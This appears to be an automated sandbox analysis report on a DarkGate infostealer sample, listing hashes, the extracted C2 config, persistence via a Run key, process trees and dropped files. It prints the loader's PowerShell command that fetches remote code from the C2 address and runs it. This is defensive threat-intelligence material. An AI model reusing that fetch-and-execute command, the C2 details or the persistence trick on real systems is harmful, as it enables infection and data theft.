darkgate | ad806df85dfb29cca1f3a2c99ed069c30cd870bae9d47f2de4c7ce727b9622ec

Analysis

max time kernel
150s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
03/03/2024, 12:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dark.vbs
Size 5KB
Sample240303-p2npbabb92
SHA256 ad806df85dfb29cca1f3a2c99ed069c30cd870bae9d47f2de4c7ce727b9622ec
MD5 3b2e1c5604f68a43495f3829c31f12e3
SHA1 ddc0158fa56458c9235598fdbf2ff49d87c93bb1
SHA512 853b8afbffbbf8a24639f27fd2ddd5b5713e85f7ddcd8a020a050ba40fcf391cf29aa047cfc335b69b5828b740f145b6b27b1149f07234817b991545b3ab38f6
SSDEEP 96:DaUEmyDTEBzylU+/V9rkcQ3tZUHg4KRZZoPC8Wuo9d3uV0m:DaU0TEBzj+/V9g/tZUHg4KR/oa8Wuo9I
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

darkgate pruebasvbs persistence stealer

Malware Config

Extracted

Family

darkgate

Botnet

pruebasvbs

149.56.252.31

Attributes

anti_analysis
false
anti_debug
false
anti_vm
false
c2_port
8094
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
mwsMGaLY
minimum_disk
100
minimum_ram
4096
ping_interval
6
rootkit
false
startup_persistence
true
username
pruebasvbs

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 11 IoCs

resource	yara_rule
behavioral2/memory/2448-35-0x00000000064E0000-0x000000000682F000-memory.dmp	family_darkgate_v6
behavioral2/memory/3788-44-0x00000000028D0000-0x0000000003072000-memory.dmp	family_darkgate_v6
behavioral2/memory/2448-45-0x00000000064E0000-0x000000000682F000-memory.dmp	family_darkgate_v6
behavioral2/memory/3788-49-0x00000000028D0000-0x0000000003072000-memory.dmp	family_darkgate_v6
behavioral2/memory/3736-54-0x0000000002D10000-0x00000000034B2000-memory.dmp	family_darkgate_v6
behavioral2/memory/3788-55-0x00000000028D0000-0x0000000003072000-memory.dmp	family_darkgate_v6
behavioral2/memory/3788-57-0x00000000028D0000-0x0000000003072000-memory.dmp	family_darkgate_v6
behavioral2/memory/3788-56-0x00000000028D0000-0x0000000003072000-memory.dmp	family_darkgate_v6
behavioral2/memory/3736-60-0x0000000002D10000-0x00000000034B2000-memory.dmp	family_darkgate_v6
behavioral2/memory/3788-61-0x00000000028D0000-0x0000000003072000-memory.dmp	family_darkgate_v6
behavioral2/memory/3736-62-0x0000000002D10000-0x00000000034B2000-memory.dmp	family_darkgate_v6

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 2448 created 3940	2448	AutoIt3.exe	61
PID 3788 created 3940	3788	GoogleUpdateCore.exe	61

Blocklisted process makes network request 4 IoCs

flow	pid	Process
7	2180	powershell.exe
10	2180	powershell.exe
18	2180	powershell.exe
29	2180	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
2448	AutoIt3.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2727153400-192325109-1870347593-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\CaeDKGe = "C:\\ProgramData\\bbchbhh\\Autoit3.exe C:\\ProgramData\\bbchbhh\\habbcbd.a3x"	GoogleUpdateCore.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoIt3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	GoogleUpdateCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	GoogleUpdateCore.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	GoogleUpdateCore.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	GoogleUpdateCore.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
2180	powershell.exe
2180	powershell.exe
2180	powershell.exe
2448	AutoIt3.exe
2448	AutoIt3.exe
2448	AutoIt3.exe
2448	AutoIt3.exe
3788	GoogleUpdateCore.exe
3788	GoogleUpdateCore.exe
3788	GoogleUpdateCore.exe
3788	GoogleUpdateCore.exe
3736	GoogleUpdateCore.exe
3736	GoogleUpdateCore.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3788	GoogleUpdateCore.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2180	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4348 wrote to memory of 2180	4348	WScript.exe	88
PID 4348 wrote to memory of 2180	4348	WScript.exe	88
PID 2180 wrote to memory of 2448	2180	powershell.exe	95
PID 2180 wrote to memory of 2448	2180	powershell.exe	95
PID 2180 wrote to memory of 2448	2180	powershell.exe	95
PID 2448 wrote to memory of 3788	2448	AutoIt3.exe	96
PID 2448 wrote to memory of 3788	2448	AutoIt3.exe	96
PID 2448 wrote to memory of 3788	2448	AutoIt3.exe	96
PID 2448 wrote to memory of 3788	2448	AutoIt3.exe	96
PID 3788 wrote to memory of 3736	3788	GoogleUpdateCore.exe	97
PID 3788 wrote to memory of 3736	3788	GoogleUpdateCore.exe	97
PID 3788 wrote to memory of 3736	3788	GoogleUpdateCore.exe	97
PID 3788 wrote to memory of 3736	3788	GoogleUpdateCore.exe	97

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3940
- C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateCore.exe
  "C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateCore.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Adds Run key to start application
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of WriteProcessMemory
  PID:3788
- C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateCore.exe
  "C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateCore.exe"
  2⤵
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  PID:3736

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dark.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri '149.56.252.31:8094/mgmmrccw')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2180
- - C:\temp\AutoIt3.exe
    "C:\temp\AutoIt3.exe" script.a3x
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

habbcbd.a3x

Path C:\ProgramData\bbchbhh\habbcbd.a3x
Size 468KB
SHA256 6d977dfe2c8227a40bb15a8c61de7307de8f09d3c36ad6bedf51162a283b3200
MD5 f615af806a9d74b5512d27cc40ecac13
SHA1 53d4eae842670cde517d0ecbf7f29602ae3a2804
SHA512 69f560491cff9f36d88590e25113f2dbf7bed8b07c45503cb036f58ece99d80e26580bc3ef9c1f7fe644e9abd76b5c256e7fd4185dac5e9615b33d167ec0c7f0
SSDEEP 6144:ifwEqFvyM4ZWAA+CnTGPdqRlyJ1jHOwpEz7k3jjNbxpxKYLzLs4vTYx2pSiIdI/b:5f9FRlyJxuwq3kTjNbxpxTYzix70NI
MD5 SHA1 SHA512 SSDEEP

Submit Download

kfbefdf

Path C:\ProgramData\bbchbhh\kfbefdf
Size 1KB
SHA256 e2c4b73903586e4f2293e74b55edbfcbd4d55696362d19e730caedad3d7736ec
MD5 48f1eb7047b38a15434719b91e15c54d
SHA1 96fb025fe59a59d5c165569854612633c6192ef8
SHA512 0d40a23a8cd859096783d8fa3cd95f682a2b7fad01191a36a3b6748c784c0ee64d7ce8d063c9ea5083f668c59b86d10cf6afb8ca8db88fea325bde963b3150d8
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_vblciyjf.z3s.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vblciyjf.z3s.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

CaeDKGe

Path C:\Users\Admin\AppData\Roaming\CaeDKGe
Size 32B
SHA256 bc026c0f0c355ded85e75c3f15b1eaad5be65d727b458bbbbd7a5042c2628c3c
MD5 64c7060c88c4cf5447c4dfe8d96317e3
SHA1 3cf40488a556ea3524466089f45842f1e5cac53a
SHA512 c7f158ee015dd1e7c729eee64fe77a85effbe26d1bf727d8d56f34efda1babb3752eaac3e23d8289b1f11f606f521a12499cdae9276a6d458e4918a2e3548072
MD5 SHA1 SHA512

Submit Download

AutoIt3.exe

Path C:\temp\AutoIt3.exe
Size 872KB
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
SSDEEP 12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5 SHA1 SHA512 SSDEEP

Submit Download

aaddddf

Path C:\temp\aaddddf
Size 4B
SHA256 1512933308b0a6adf128e2dcf39a53cb0e373f5aa284ee803d7aab65e2a08dfa
MD5 3ee6674c0e38402dd8ca5e134dfd494e
SHA1 6c019165e99d924ff521321d3193a5a4172cc3dd
SHA512 53d789280e0ad3be6d175c478a129720b3caa1d936eb5dddd7ea860aac39bfdf2f84a9cd492a9f8d94840f864d3cda8dd5236584503bf2e8ed6c41f5b05caec1
MD5 SHA1 SHA512

Submit Download

aaddddf

Path C:\temp\aaddddf
Size 4B
SHA256 6df497859afb971b8f3b5f296b49ed63bfbc76dda73afb53bd068156de602b23
MD5 c4aed02c53d676c8f5e452dca7d6fab7
SHA1 925ba57e7505a7f7bfe0e250c6abdcef092da2fc
SHA512 e5e59fa83a2c11443fd2a7b9ee33de2de7cc63231c561a7c8563f6cd5203b7f2dfa0b99f9b829270c3e93625e1ff826ffd78aad631acc6b10321657438773589
MD5 SHA1 SHA512

Submit Download

fbdcgeg

Path C:\temp\fbdcgeg
Size 4B
SHA256 a53ae32c02606a8d278094117f483b13b44d37ebaa630a11628e50a9ae3db40f
MD5 873bd2a70542edd8915e4c2dba0d4e98
SHA1 826e2db10ac48f0ed0af099f458f14aea275987d
SHA512 af4525c44cdec8deef881db8ea93134b80a2ced0720b66ddd4bcf71c46d5ed831db6b1515677ff9e6a289f10c286304deb2cadf5230ddc2d8a26d5d9a51f7630
MD5 SHA1 SHA512

Submit Download

script.a3x

Path C:\temp\script.a3x
Size 467KB
SHA256 508251503639845117e170fe5ae1b0d7b8953e8336119a71d04e7bdce962d980
MD5 50862376b34880a80a32406444f4a8cb
SHA1 20997faf801af300f4524b5a785d1f246bb79f49
SHA512 c17fc05332ce333f3dcae3e6d0524386500953cb48e55996516913cdb9b415d4c940c59a8311efc31663ae4c6710f44b18ba63016cb9f100ffe8edf0985a0f7d
SSDEEP 6144:cfwEqFvyM4ZWAA+CnTGPdqRlyJ1jHOwpEz7k3jjNbxpxKYLzLs4vTYx2pSiIdI/b:/f9FRlyJxuwq3kTjNbxpxTYzix70NI
MD5 SHA1 SHA512 SSDEEP

Submit Download

test.txt

Path C:\temp\test.txt
Size 76B
SHA256 692f4ba2a4bce266d9228dd0a3e11a5cd2e4b201b5ce459eef64dcb9d043f73c
MD5 e12c09ed641531b7225b26ff6991a506
SHA1 697ec598b870b394d237b9bccf4eef18e1619ee5
SHA512 8370d91bc0dc6c0e924e45658f6e62ec04d3f2654133c6799ab0e7f839a52556db4e04615dadda9fc97a88b3a18916e4fb286efccc6713b9a4e8cd8700915b83
MD5 SHA1 SHA512

Submit Download

memory/2180-28-0x00007FFA89BE0000-0x00007FFA8A6A1000-memory.dmp

Download

memory/2180-13-0x0000028337FD0000-0x0000028338192000-memory.dmp

Download

memory/2180-12-0x000002831D460000-0x000002831D470000-memory.dmp

Download

memory/2180-11-0x000002831D460000-0x000002831D470000-memory.dmp

Download

memory/2180-9-0x0000028337830000-0x0000028337852000-memory.dmp

Download

memory/2180-10-0x00007FFA89BE0000-0x00007FFA8A6A1000-memory.dmp

Download

memory/2448-33-0x0000000004FE0000-0x0000000005FB0000-memory.dmp

Download

memory/2448-45-0x00000000064E0000-0x000000000682F000-memory.dmp

Download

memory/2448-35-0x00000000064E0000-0x000000000682F000-memory.dmp

Download

memory/3736-62-0x0000000002D10000-0x00000000034B2000-memory.dmp

Download

memory/3736-54-0x0000000002D10000-0x00000000034B2000-memory.dmp

Download

memory/3736-60-0x0000000002D10000-0x00000000034B2000-memory.dmp

Download

memory/3788-44-0x00000000028D0000-0x0000000003072000-memory.dmp

Download

memory/3788-56-0x00000000028D0000-0x0000000003072000-memory.dmp

Download

memory/3788-57-0x00000000028D0000-0x0000000003072000-memory.dmp

Download

memory/3788-55-0x00000000028D0000-0x0000000003072000-memory.dmp

Download

memory/3788-61-0x00000000028D0000-0x0000000003072000-memory.dmp

Download

memory/3788-49-0x00000000028D0000-0x0000000003072000-memory.dmp

Download